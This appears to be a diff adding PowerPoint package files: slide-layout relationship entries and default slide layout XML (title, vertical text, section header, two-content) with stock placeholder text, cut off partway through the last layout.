<Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships"><Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/slideMaster" Target="../slideMasters/slideMaster1.xml"/></Relationships>
@@ -0,0 +1,2 @@
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships"><Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/slideMaster" Target="../slideMasters/slideMaster1.xml"/></Relationships>
@@ -0,0 +1,2 @@
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships"><Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/slideMaster" Target="../slideMasters/slideMaster1.xml"/></Relationships>
@@ -0,0 +1,2 @@
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships"><Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/slideMaster" Target="../slideMasters/slideMaster1.xml"/></Relationships>
@@ -0,0 +1,2 @@
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships"><Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/slideMaster" Target="../slideMasters/slideMaster1.xml"/></Relationships>
@@ -0,0 +1,2 @@
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships"><Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/slideMaster" Target="../slideMasters/slideMaster1.xml"/></Relationships>
@@ -0,0 +1,2 @@
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships"><Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/slideMaster" Target="../slideMasters/slideMaster1.xml"/></Relationships>
@@ -0,0 +1,2 @@
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships"><Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/slideMaster" Target="../slideMasters/slideMaster1.xml"/></Relationships>
@@ -0,0 +1,2 @@
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<p:sldLayout xmlns:a="http://schemas.openxmlformats.org/drawingml/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:p="http://schemas.openxmlformats.org/presentationml/2006/main" type="title" preserve="1"><p:cSld name="Title Slide"><p:spTree><p:nvGrpSpPr><p:cNvPr id="1" name=""/><p:cNvGrpSpPr/><p:nvPr/></p:nvGrpSpPr><p:grpSpPr><a:xfrm><a:off x="0" y="0"/><a:ext cx="0" cy="0"/><a:chOff x="0" y="0"/><a:chExt cx="0" cy="0"/></a:xfrm></p:grpSpPr><p:sp><p:nvSpPr><p:cNvPr id="2" name="Title 1"/><p:cNvSpPr><a:spLocks noGrp="1"/></p:cNvSpPr><p:nvPr><p:ph type="ctrTitle"/></p:nvPr></p:nvSpPr><p:spPr><a:xfrm><a:off x="685800" y="2130425"/><a:ext cx="7772400" cy="1470025"/></a:xfrm></p:spPr><p:txBody><a:bodyPr/><a:lstStyle/><a:p><a:r><a:rPr lang="en-US" smtClean="0"/><a:t>Click to edit Master title style</a:t></a:r><a:endParaRPr lang="en-US"/></a:p></p:txBody></p:sp><p:sp><p:nvSpPr><p:cNvPr id="3" name="Subtitle 2"/><p:cNvSpPr><a:spLocks noGrp="1"/></p:cNvSpPr><p:nvPr><p:ph type="subTitle" idx="1"/></p:nvPr></p:nvSpPr><p:spPr><a:xfrm><a:off x="1371600" y="3886200"/><a:ext cx="6400800" cy="1752600"/></a:xfrm></p:spPr><p:txBody><a:bodyPr/><a:lstStyle><a:lvl1pPr marL="0" indent="0" algn="ctr"><a:buNone/><a:defRPr><a:solidFill><a:schemeClr val="tx1"><a:tint val="75000"/></a:schemeClr></a:solidFill></a:defRPr></a:lvl1pPr><a:lvl2pPr marL="457200" indent="0" algn="ctr"><a:buNone/><a:defRPr><a:solidFill><a:schemeClr val="tx1"><a:tint val="75000"/></a:schemeClr></a:solidFill></a:defRPr></a:lvl2pPr><a:lvl3pPr marL="914400" indent="0" algn="ctr"><a:buNone/><a:defRPr><a:solidFill><a:schemeClr val="tx1"><a:tint val="75000"/></a:schemeClr></a:solidFill></a:defRPr></a:lvl3pPr><a:lvl4pPr marL="1371600" indent="0" algn="ctr"><a:buNone/><a:defRPr><a:solidFill><a:schemeClr val="tx1"><a:tint val="75000"/></a:schemeClr></a:solidFill></a:defRPr></a:lvl4pPr><a:lvl5pPr marL="1828800" indent="0" algn="ctr"><a:buNone/><a:defRPr><a:solidFill><a:schemeClr val="tx1"><a:tint val="75000"/></a:schemeClr></a:solidFill></a:defRPr></a:lvl5pPr><a:lvl6pPr marL="2286000" indent="0" algn="ctr"><a:buNone/><a:defRPr><a:solidFill><a:schemeClr val="tx1"><a:tint val="75000"/></a:schemeClr></a:solidFill></a:defRPr></a:lvl6pPr><a:lvl7pPr marL="2743200" indent="0" algn="ctr"><a:buNone/><a:defRPr><a:solidFill><a:schemeClr val="tx1"><a:tint val="75000"/></a:schemeClr></a:solidFill></a:defRPr></a:lvl7pPr><a:lvl8pPr marL="3200400" indent="0" algn="ctr"><a:buNone/><a:defRPr><a:solidFill><a:schemeClr val="tx1"><a:tint val="75000"/></a:schemeClr></a:solidFill></a:defRPr></a:lvl8pPr><a:lvl9pPr marL="3657600" indent="0" algn="ctr"><a:buNone/><a:defRPr><a:solidFill><a:schemeClr val="tx1"><a:tint val="75000"/></a:schemeClr></a:solidFill></a:defRPr></a:lvl9pPr></a:lstStyle><a:p><a:r><a:rPr lang="en-US" smtClean="0"/><a:t>Click to edit Master subtitle style</a:t></a:r><a:endParaRPr lang="en-US"/></a:p></p:txBody></p:sp><p:sp><p:nvSpPr><p:cNvPr id="4" name="Date Placeholder 3"/><p:cNvSpPr><a:spLocks noGrp="1"/></p:cNvSpPr><p:nvPr><p:ph type="dt" sz="half" idx="10"/></p:nvPr></p:nvSpPr><p:spPr/><p:txBody><a:bodyPr/><a:lstStyle/><a:p><a:fld id="{A3E2BFEF-B464-43B7-BACB-B80E2ED36959}" type="datetimeFigureOut"><a:rPr lang="en-US" smtClean="0"/><a:pPr/><a:t>10/16/2014</a:t></a:fld><a:endParaRPr lang="en-US"/></a:p></p:txBody></p:sp><p:sp><p:nvSpPr><p:cNvPr id="5" name="Footer Placeholder 4"/><p:cNvSpPr><a:spLocks noGrp="1"/></p:cNvSpPr><p:nvPr><p:ph type="ftr" sz="quarter" idx="11"/></p:nvPr></p:nvSpPr><p:spPr/><p:txBody><a:bodyPr/><a:lstStyle/><a:p><a:endParaRPr lang="en-US"/></a:p></p:txBody></p:sp><p:sp><p:nvSpPr><p:cNvPr id="6" name="Slide Number Placeholder 5"/><p:cNvSpPr><a:spLocks noGrp="1"/></p:cNvSpPr><p:nvPr><p:ph type="sldNum" sz="quarter" idx="12"/></p:nvPr></p:nvSpPr><p:spPr/><p:txBody><a:bodyPr/><a:lstStyle/><a:p><a:fld id="{FDE0A223-AA89-463D-95C0-64ABE7403E02}" type="slidenum"><a:rPr lang="en-US" smtClean="0"/><a:pPr/><a:t>#</a:t></a:fld><a:endParaRPr lang="en-US"/></a:p></p:txBody></p:sp></p:spTree></p:cSld><p:clrMapOvr><a:masterClrMapping/></p:clrMapOvr></p:sldLayout>
@@ -0,0 +1,2 @@
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<p:sldLayout xmlns:a="http://schemas.openxmlformats.org/drawingml/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:p="http://schemas.openxmlformats.org/presentationml/2006/main" type="vertTx" preserve="1"><p:cSld name="Title and Vertical Text"><p:spTree><p:nvGrpSpPr><p:cNvPr id="1" name=""/><p:cNvGrpSpPr/><p:nvPr/></p:nvGrpSpPr><p:grpSpPr><a:xfrm><a:off x="0" y="0"/><a:ext cx="0" cy="0"/><a:chOff x="0" y="0"/><a:chExt cx="0" cy="0"/></a:xfrm></p:grpSpPr><p:sp><p:nvSpPr><p:cNvPr id="2" name="Title 1"/><p:cNvSpPr><a:spLocks noGrp="1"/></p:cNvSpPr><p:nvPr><p:ph type="title"/></p:nvPr></p:nvSpPr><p:spPr/><p:txBody><a:bodyPr/><a:lstStyle/><a:p><a:r><a:rPr lang="en-US" smtClean="0"/><a:t>Click to edit Master title style</a:t></a:r><a:endParaRPr lang="en-US"/></a:p></p:txBody></p:sp><p:sp><p:nvSpPr><p:cNvPr id="3" name="Vertical Text Placeholder 2"/><p:cNvSpPr><a:spLocks noGrp="1"/></p:cNvSpPr><p:nvPr><p:ph type="body" orient="vert" idx="1"/></p:nvPr></p:nvSpPr><p:spPr/><p:txBody><a:bodyPr vert="eaVert"/><a:lstStyle/><a:p><a:pPr lvl="0"/><a:r><a:rPr lang="en-US" smtClean="0"/><a:t>Click to edit Master text styles</a:t></a:r></a:p><a:p><a:pPr lvl="1"/><a:r><a:rPr lang="en-US" smtClean="0"/><a:t>Second level</a:t></a:r></a:p><a:p><a:pPr lvl="2"/><a:r><a:rPr lang="en-US" smtClean="0"/><a:t>Third level</a:t></a:r></a:p><a:p><a:pPr lvl="3"/><a:r><a:rPr lang="en-US" smtClean="0"/><a:t>Fourth level</a:t></a:r></a:p><a:p><a:pPr lvl="4"/><a:r><a:rPr lang="en-US" smtClean="0"/><a:t>Fifth level</a:t></a:r><a:endParaRPr lang="en-US"/></a:p></p:txBody></p:sp><p:sp><p:nvSpPr><p:cNvPr id="4" name="Date Placeholder 3"/><p:cNvSpPr><a:spLocks noGrp="1"/></p:cNvSpPr><p:nvPr><p:ph type="dt" sz="half" idx="10"/></p:nvPr></p:nvSpPr><p:spPr/><p:txBody><a:bodyPr/><a:lstStyle/><a:p><a:fld id="{A3E2BFEF-B464-43B7-BACB-B80E2ED36959}" type="datetimeFigureOut"><a:rPr lang="en-US" smtClean="0"/><a:pPr/><a:t>10/16/2014</a:t></a:fld><a:endParaRPr lang="en-US"/></a:p></p:txBody></p:sp><p:sp><p:nvSpPr><p:cNvPr id="5" name="Footer Placeholder 4"/><p:cNvSpPr><a:spLocks noGrp="1"/></p:cNvSpPr><p:nvPr><p:ph type="ftr" sz="quarter" idx="11"/></p:nvPr></p:nvSpPr><p:spPr/><p:txBody><a:bodyPr/><a:lstStyle/><a:p><a:endParaRPr lang="en-US"/></a:p></p:txBody></p:sp><p:sp><p:nvSpPr><p:cNvPr id="6" name="Slide Number Placeholder 5"/><p:cNvSpPr><a:spLocks noGrp="1"/></p:cNvSpPr><p:nvPr><p:ph type="sldNum" sz="quarter" idx="12"/></p:nvPr></p:nvSpPr><p:spPr/><p:txBody><a:bodyPr/><a:lstStyle/><a:p><a:fld id="{FDE0A223-AA89-463D-95C0-64ABE7403E02}" type="slidenum"><a:rPr lang="en-US" smtClean="0"/><a:pPr/><a:t>#</a:t></a:fld><a:endParaRPr lang="en-US"/></a:p></p:txBody></p:sp></p:spTree></p:cSld><p:clrMapOvr><a:masterClrMapping/></p:clrMapOvr></p:sldLayout>
@@ -0,0 +1,2 @@
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<p:sldLayout xmlns:a="http://schemas.openxmlformats.org/drawingml/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:p="http://schemas.openxmlformats.org/presentationml/2006/main" type="vertTitleAndTx" preserve="1"><p:cSld name="Vertical Title and Text"><p:spTree><p:nvGrpSpPr><p:cNvPr id="1" name=""/><p:cNvGrpSpPr/><p:nvPr/></p:nvGrpSpPr><p:grpSpPr><a:xfrm><a:off x="0" y="0"/><a:ext cx="0" cy="0"/><a:chOff x="0" y="0"/><a:chExt cx="0" cy="0"/></a:xfrm></p:grpSpPr><p:sp><p:nvSpPr><p:cNvPr id="2" name="Vertical Title 1"/><p:cNvSpPr><a:spLocks noGrp="1"/></p:cNvSpPr><p:nvPr><p:ph type="title" orient="vert"/></p:nvPr></p:nvSpPr><p:spPr><a:xfrm><a:off x="6629400" y="274638"/><a:ext cx="2057400" cy="5851525"/></a:xfrm></p:spPr><p:txBody><a:bodyPr vert="eaVert"/><a:lstStyle/><a:p><a:r><a:rPr lang="en-US" smtClean="0"/><a:t>Click to edit Master title style</a:t></a:r><a:endParaRPr lang="en-US"/></a:p></p:txBody></p:sp><p:sp><p:nvSpPr><p:cNvPr id="3" name="Vertical Text Placeholder 2"/><p:cNvSpPr><a:spLocks noGrp="1"/></p:cNvSpPr><p:nvPr><p:ph type="body" orient="vert" idx="1"/></p:nvPr></p:nvSpPr><p:spPr><a:xfrm><a:off x="457200" y="274638"/><a:ext cx="6019800" cy="5851525"/></a:xfrm></p:spPr><p:txBody><a:bodyPr vert="eaVert"/><a:lstStyle/><a:p><a:pPr lvl="0"/><a:r><a:rPr lang="en-US" smtClean="0"/><a:t>Click to edit Master text styles</a:t></a:r></a:p><a:p><a:pPr lvl="1"/><a:r><a:rPr lang="en-US" smtClean="0"/><a:t>Second level</a:t></a:r></a:p><a:p><a:pPr lvl="2"/><a:r><a:rPr lang="en-US" smtClean="0"/><a:t>Third level</a:t></a:r></a:p><a:p><a:pPr lvl="3"/><a:r><a:rPr lang="en-US" smtClean="0"/><a:t>Fourth level</a:t></a:r></a:p><a:p><a:pPr lvl="4"/><a:r><a:rPr lang="en-US" smtClean="0"/><a:t>Fifth level</a:t></a:r><a:endParaRPr lang="en-US"/></a:p></p:txBody></p:sp><p:sp><p:nvSpPr><p:cNvPr id="4" name="Date Placeholder 3"/><p:cNvSpPr><a:spLocks noGrp="1"/></p:cNvSpPr><p:nvPr><p:ph type="dt" sz="half" idx="10"/></p:nvPr></p:nvSpPr><p:spPr/><p:txBody><a:bodyPr/><a:lstStyle/><a:p><a:fld id="{A3E2BFEF-B464-43B7-BACB-B80E2ED36959}" type="datetimeFigureOut"><a:rPr lang="en-US" smtClean="0"/><a:pPr/><a:t>10/16/2014</a:t></a:fld><a:endParaRPr lang="en-US"/></a:p></p:txBody></p:sp><p:sp><p:nvSpPr><p:cNvPr id="5" name="Footer Placeholder 4"/><p:cNvSpPr><a:spLocks noGrp="1"/></p:cNvSpPr><p:nvPr><p:ph type="ftr" sz="quarter" idx="11"/></p:nvPr></p:nvSpPr><p:spPr/><p:txBody><a:bodyPr/><a:lstStyle/><a:p><a:endParaRPr lang="en-US"/></a:p></p:txBody></p:sp><p:sp><p:nvSpPr><p:cNvPr id="6" name="Slide Number Placeholder 5"/><p:cNvSpPr><a:spLocks noGrp="1"/></p:cNvSpPr><p:nvPr><p:ph type="sldNum" sz="quarter" idx="12"/></p:nvPr></p:nvSpPr><p:spPr/><p:txBody><a:bodyPr/><a:lstStyle/><a:p><a:fld id="{FDE0A223-AA89-463D-95C0-64ABE7403E02}" type="slidenum"><a:rPr lang="en-US" smtClean="0"/><a:pPr/><a:t>#</a:t></a:fld><a:endParaRPr lang="en-US"/></a:p></p:txBody></p:sp></p:spTree></p:cSld><p:clrMapOvr><a:masterClrMapping/></p:clrMapOvr></p:sldLayout>
@@ -0,0 +1,2 @@
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<p:sldLayout xmlns:a="http://schemas.openxmlformats.org/drawingml/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:p="http://schemas.openxmlformats.org/presentationml/2006/main" type="obj" preserve="1"><p:cSld name="Title and Content"><p:spTree><p:nvGrpSpPr><p:cNvPr id="1" name=""/><p:cNvGrpSpPr/><p:nvPr/></p:nvGrpSpPr><p:grpSpPr><a:xfrm><a:off x="0" y="0"/><a:ext cx="0" cy="0"/><a:chOff x="0" y="0"/><a:chExt cx="0" cy="0"/></a:xfrm></p:grpSpPr><p:sp><p:nvSpPr><p:cNvPr id="2" name="Title 1"/><p:cNvSpPr><a:spLocks noGrp="1"/></p:cNvSpPr><p:nvPr><p:ph type="title"/></p:nvPr></p:nvSpPr><p:spPr/><p:txBody><a:bodyPr/><a:lstStyle/><a:p><a:r><a:rPr lang="en-US" smtClean="0"/><a:t>Click to edit Master title style</a:t></a:r><a:endParaRPr lang="en-US"/></a:p></p:txBody></p:sp><p:sp><p:nvSpPr><p:cNvPr id="3" name="Content Placeholder 2"/><p:cNvSpPr><a:spLocks noGrp="1"/></p:cNvSpPr><p:nvPr><p:ph idx="1"/></p:nvPr></p:nvSpPr><p:spPr/><p:txBody><a:bodyPr/><a:lstStyle/><a:p><a:pPr lvl="0"/><a:r><a:rPr lang="en-US" smtClean="0"/><a:t>Click to edit Master text styles</a:t></a:r></a:p><a:p><a:pPr lvl="1"/><a:r><a:rPr lang="en-US" smtClean="0"/><a:t>Second level</a:t></a:r></a:p><a:p><a:pPr lvl="2"/><a:r><a:rPr lang="en-US" smtClean="0"/><a:t>Third level</a:t></a:r></a:p><a:p><a:pPr lvl="3"/><a:r><a:rPr lang="en-US" smtClean="0"/><a:t>Fourth level</a:t></a:r></a:p><a:p><a:pPr lvl="4"/><a:r><a:rPr lang="en-US" smtClean="0"/><a:t>Fifth level</a:t></a:r><a:endParaRPr lang="en-US"/></a:p></p:txBody></p:sp><p:sp><p:nvSpPr><p:cNvPr id="4" name="Date Placeholder 3"/><p:cNvSpPr><a:spLocks noGrp="1"/></p:cNvSpPr><p:nvPr><p:ph type="dt" sz="half" idx="10"/></p:nvPr></p:nvSpPr><p:spPr/><p:txBody><a:bodyPr/><a:lstStyle/><a:p><a:fld id="{A3E2BFEF-B464-43B7-BACB-B80E2ED36959}" type="datetimeFigureOut"><a:rPr lang="en-US" smtClean="0"/><a:pPr/><a:t>10/16/2014</a:t></a:fld><a:endParaRPr lang="en-US"/></a:p></p:txBody></p:sp><p:sp><p:nvSpPr><p:cNvPr id="5" name="Footer Placeholder 4"/><p:cNvSpPr><a:spLocks noGrp="1"/></p:cNvSpPr><p:nvPr><p:ph type="ftr" sz="quarter" idx="11"/></p:nvPr></p:nvSpPr><p:spPr/><p:txBody><a:bodyPr/><a:lstStyle/><a:p><a:endParaRPr lang="en-US"/></a:p></p:txBody></p:sp><p:sp><p:nvSpPr><p:cNvPr id="6" name="Slide Number Placeholder 5"/><p:cNvSpPr><a:spLocks noGrp="1"/></p:cNvSpPr><p:nvPr><p:ph type="sldNum" sz="quarter" idx="12"/></p:nvPr></p:nvSpPr><p:spPr/><p:txBody><a:bodyPr/><a:lstStyle/><a:p><a:fld id="{FDE0A223-AA89-463D-95C0-64ABE7403E02}" type="slidenum"><a:rPr lang="en-US" smtClean="0"/><a:pPr/><a:t>#</a:t></a:fld><a:endParaRPr lang="en-US"/></a:p></p:txBody></p:sp></p:spTree></p:cSld><p:clrMapOvr><a:masterClrMapping/></p:clrMapOvr></p:sldLayout>
@@ -0,0 +1,2 @@
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<p:sldLayout xmlns:a="http://schemas.openxmlformats.org/drawingml/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:p="http://schemas.openxmlformats.org/presentationml/2006/main" type="secHead" preserve="1"><p:cSld name="Section Header"><p:spTree><p:nvGrpSpPr><p:cNvPr id="1" name=""/><p:cNvGrpSpPr/><p:nvPr/></p:nvGrpSpPr><p:grpSpPr><a:xfrm><a:off x="0" y="0"/><a:ext cx="0" cy="0"/><a:chOff x="0" y="0"/><a:chExt cx="0" cy="0"/></a:xfrm></p:grpSpPr><p:sp><p:nvSpPr><p:cNvPr id="2" name="Title 1"/><p:cNvSpPr><a:spLocks noGrp="1"/></p:cNvSpPr><p:nvPr><p:ph type="title"/></p:nvPr></p:nvSpPr><p:spPr><a:xfrm><a:off x="722313" y="4406900"/><a:ext cx="7772400" cy="1362075"/></a:xfrm></p:spPr><p:txBody><a:bodyPr anchor="t"/><a:lstStyle><a:lvl1pPr algn="l"><a:defRPr sz="4000" b="1" cap="all"/></a:lvl1pPr></a:lstStyle><a:p><a:r><a:rPr lang="en-US" smtClean="0"/><a:t>Click to edit Master title style</a:t></a:r><a:endParaRPr lang="en-US"/></a:p></p:txBody></p:sp><p:sp><p:nvSpPr><p:cNvPr id="3" name="Text Placeholder 2"/><p:cNvSpPr><a:spLocks noGrp="1"/></p:cNvSpPr><p:nvPr><p:ph type="body" idx="1"/></p:nvPr></p:nvSpPr><p:spPr><a:xfrm><a:off x="722313" y="2906713"/><a:ext cx="7772400" cy="1500187"/></a:xfrm></p:spPr><p:txBody><a:bodyPr anchor="b"/><a:lstStyle><a:lvl1pPr marL="0" indent="0"><a:buNone/><a:defRPr sz="2000"><a:solidFill><a:schemeClr val="tx1"><a:tint val="75000"/></a:schemeClr></a:solidFill></a:defRPr></a:lvl1pPr><a:lvl2pPr marL="457200" indent="0"><a:buNone/><a:defRPr sz="1800"><a:solidFill><a:schemeClr val="tx1"><a:tint val="75000"/></a:schemeClr></a:solidFill></a:defRPr></a:lvl2pPr><a:lvl3pPr marL="914400" indent="0"><a:buNone/><a:defRPr sz="1600"><a:solidFill><a:schemeClr val="tx1"><a:tint val="75000"/></a:schemeClr></a:solidFill></a:defRPr></a:lvl3pPr><a:lvl4pPr marL="1371600" indent="0"><a:buNone/><a:defRPr sz="1400"><a:solidFill><a:schemeClr val="tx1"><a:tint val="75000"/></a:schemeClr></a:solidFill></a:defRPr></a:lvl4pPr><a:lvl5pPr marL="1828800" indent="0"><a:buNone/><a:defRPr sz="1400"><a:solidFill><a:schemeClr val="tx1"><a:tint val="75000"/></a:schemeClr></a:solidFill></a:defRPr></a:lvl5pPr><a:lvl6pPr marL="2286000" indent="0"><a:buNone/><a:defRPr sz="1400"><a:solidFill><a:schemeClr val="tx1"><a:tint val="75000"/></a:schemeClr></a:solidFill></a:defRPr></a:lvl6pPr><a:lvl7pPr marL="2743200" indent="0"><a:buNone/><a:defRPr sz="1400"><a:solidFill><a:schemeClr val="tx1"><a:tint val="75000"/></a:schemeClr></a:solidFill></a:defRPr></a:lvl7pPr><a:lvl8pPr marL="3200400" indent="0"><a:buNone/><a:defRPr sz="1400"><a:solidFill><a:schemeClr val="tx1"><a:tint val="75000"/></a:schemeClr></a:solidFill></a:defRPr></a:lvl8pPr><a:lvl9pPr marL="3657600" indent="0"><a:buNone/><a:defRPr sz="1400"><a:solidFill><a:schemeClr val="tx1"><a:tint val="75000"/></a:schemeClr></a:solidFill></a:defRPr></a:lvl9pPr></a:lstStyle><a:p><a:pPr lvl="0"/><a:r><a:rPr lang="en-US" smtClean="0"/><a:t>Click to edit Master text styles</a:t></a:r></a:p></p:txBody></p:sp><p:sp><p:nvSpPr><p:cNvPr id="4" name="Date Placeholder 3"/><p:cNvSpPr><a:spLocks noGrp="1"/></p:cNvSpPr><p:nvPr><p:ph type="dt" sz="half" idx="10"/></p:nvPr></p:nvSpPr><p:spPr/><p:txBody><a:bodyPr/><a:lstStyle/><a:p><a:fld id="{A3E2BFEF-B464-43B7-BACB-B80E2ED36959}" type="datetimeFigureOut"><a:rPr lang="en-US" smtClean="0"/><a:pPr/><a:t>10/16/2014</a:t></a:fld><a:endParaRPr lang="en-US"/></a:p></p:txBody></p:sp><p:sp><p:nvSpPr><p:cNvPr id="5" name="Footer Placeholder 4"/><p:cNvSpPr><a:spLocks noGrp="1"/></p:cNvSpPr><p:nvPr><p:ph type="ftr" sz="quarter" idx="11"/></p:nvPr></p:nvSpPr><p:spPr/><p:txBody><a:bodyPr/><a:lstStyle/><a:p><a:endParaRPr lang="en-US"/></a:p></p:txBody></p:sp><p:sp><p:nvSpPr><p:cNvPr id="6" name="Slide Number Placeholder 5"/><p:cNvSpPr><a:spLocks noGrp="1"/></p:cNvSpPr><p:nvPr><p:ph type="sldNum" sz="quarter" idx="12"/></p:nvPr></p:nvSpPr><p:spPr/><p:txBody><a:bodyPr/><a:lstStyle/><a:p><a:fld id="{FDE0A223-AA89-463D-95C0-64ABE7403E02}" type="slidenum"><a:rPr lang="en-US" smtClean="0"/><a:pPr/><a:t>#</a:t></a:fld><a:endParaRPr lang="en-US"/></a:p></p:txBody></p:sp></p:spTree></p:cSld><p:clrMapOvr><a:masterClrMapping/></p:clrMapOvr></p:sldLayout>
@@ -0,0 +1,2 @@
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<p:sldLayout xmlns:a="http://schemas.openxmlformats.org/drawingml/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:p="http://schemas.openxmlformats.org/presentationml/2006/main" type="twoObj" preserve="1"><p:cSld name="Two Content"><p:spTree><p:nvGrpSpPr><p:cNvPr id="1" name=""/><p:cNvGrpSpPr/><p:nvPr/></p:nvGrpSpPr><p:grpSpPr><a:xfrm><a:off x="0" y="0"/><a:ext cx="0" cy="0"/><a:chOff x="0" y="0"/><a:chExt cx="0" cy="0"/></a:xfrm></p:grpSpPr><p:sp><p:nvSpPr><p:cNvPr id="2" name="Title 1"/><p:cNvSpPr><a:spLocks noGrp="1"/></p:cNvSpPr><p:nvPr><p:ph type="title"/></p:nvPr></p:nvSpPr><p:spPr/><p:txBody><a:bodyPr/><a:lstStyle/><a:p><a:r><a:rPr lang="en-US" smtClean="0"/><a:t>Click to edit Master title style</a:t></a:r><a:endParaRPr lang="en-US"/></a:p></p:txBody></p:sp><p:sp><p:nvSpPr><p:cNvPr id="3" name="Content Placeholder 2"/><p:cNvSpPr><a:spLocks noGrp="1"/></p:cNvSpPr><p:nvPr><p:ph sz="half" idx="1"/></p:nvPr></p:nvSpPr><p:spPr><a:xfrm><a:off x="457200" y="1600200"/><a:ext cx="4038600" cy="4525963"/></a:xfrm></p:spPr><p:txBody><a:bodyPr/><a:lstStyle><a:lvl1pPr><a:defRPr sz="2800"/></a:lvl1pPr><a:lvl2pPr><a:defRPr sz="2400"/></a:lvl2pPr><a:lvl3pPr><a:defRPr sz="2000"/></a:lvl3pPr><a:lvl4pPr><a:defRPr sz="1800"/></a:lvl4pPr><a:lvl5pPr><a:defRPr sz="1800"/></a:lvl5pPr><a:lvl6pPr><a:defRPr sz="1800"/></a:lvl6pPr><a:lvl7pPr><a:defRPr sz="1800"/></a:lvl7pPr><a:lvl8pPr><a:defRPr sz="1800"/></a:lvl8pPr><a:lvl9pPr><a:defRPr sz="1800"/></a:lvl9pPr></a:lstStyle><a:p><a:pPr lvl="0"/><a:r><a:rPr lang="en-US" smtClean="0"/><a:t>Click to edit Master text styles</a:t></a:r></a:p><a:p><a:pPr lvl="1"/><a:r><a:rPr lang="en-US" smtClean="0"/><a:t>Second level</a:t></a:r></a:p><a:p><a:pPr lvl="2"/><a:r><a:rPr lang="en-US" smtClean="0"/><a:t>Third level</a:t></a:r></a:p><a:p><a:pPr lvl="3"/><a:r><a:rPr lang="en-US" smtClean="0"/><a:t>Fourth level</a:t></a:r></a:p><a:p><a:pPr lvl="4"/><a:r><a:rPr lang="en-US" smtClean="0"/><a:t>Fifth level</a:t></a:r><a:endParaRPr lang="en-US"/></a:p></p:txBody></p:sp><p:sp><p:nvSpPr><p:cNvPr id="4" name="Content Placeholder 3"/><p:cNvSpPr><a:spLocks noGrp="1"/></p:cNvSpPr><p:nvPr><p:ph sz="half" idx="2"/></p:nvPr></p:nvSpPr><p:spPr><a:xfrm><a:off x="4648200" y="1600200"/><a:ext cx="4038600" cy="4525963"/></a:xfrm></p:spPr><p:txBody><a:bodyPr/><a:lstStyle><a:lvl1pPr><a:defRPr sz="2800"/></a:lvl1pPr><a:lvl2pPr><a:defRPr sz="2400"/></a:lvl2pPr><a:lvl3pPr><a:defRPr sz="2000"/></a:lvl3pPr><a:lvl4pPr><a:defRPr sz="1800"/></a:lvl4pPr><a:lvl5pPr><a:defRPr sz="1800"/></a:lvl5pPr><a:lvl6pPr><a:defRPr sz="1800"/></a:lvl6pPr><a:lvl7pPr><a:defRPr sz="1800"/></a:lvl7pPr><a:lvl8pPr><a:defRPr sz="1800"/></a:lvl8pPr><a:lvl9pPr><a:defRPr sz="1800"/></a:lvl9pPr></a:lstStyle><a:p><a:pPr lvl="0"/><a:r><a:rPr lang="en-US" smtClean="0"/><a:t>Click to edit Master text styles</a:t></a:r></a:p><a:p><a:pPr lvl="1"/><a:r><a:rPr lang="en-US" smtClean="0"/><a:t>Second level</a:t></a:r></a:p><a:p><a:pPr lvl="2"/><a:r><a:rPr lang="en-US" smtClean="0"/><a:t>Third level</a:t></a:r></a:p><a:p><a:pPr lvl="3"/><a:r><a:rPr lang="en-US" smtClean="0"/><a:t>Fourth level</a:t></a:r></a:p><a:p><a:pPr lvl="4"/><a:r><a:rPr lang="en-US" smtClean="0"/><a:t>Fifth level</a:t></a:r><a:endParaRPr lang="en-US"/></a:p></p:txBody></p:sp><p:sp><p:nvSpPr><p:cNvPr id="5" name="Date Placeholder 4"/><p:cNvSpPr><a:spLocks noGrp="1"/></p:cNvSpPr><p:nvPr><p:ph type="dt" sz="half" idx="10"/></p:nvPr></p:nvSpPr><p:spPr/><p:txBody><a:bodyPr/><a:lstStyle/><a:p><a:fld id="{A3E2BFEF-B464-43B7-BACB-B80E2ED36959}" type="datetimeFigureOut"><a:rPr lang="en-US" smtClean="0"/><a:pPr/><a:t>10/16/2014</a:t></a:fld><a:endParaRPr lang="en-US"/></a:p></p:txBody></p:sp><p:sp><p:nvSpPr><p:cNvPr id="6" name="Footer Placeholder 5"/><p:cNvSpPr><a:spLocks noGrp="1"/></p:cNvSpPr><p:nvPr><p:ph type="ftr" sz="quarter" 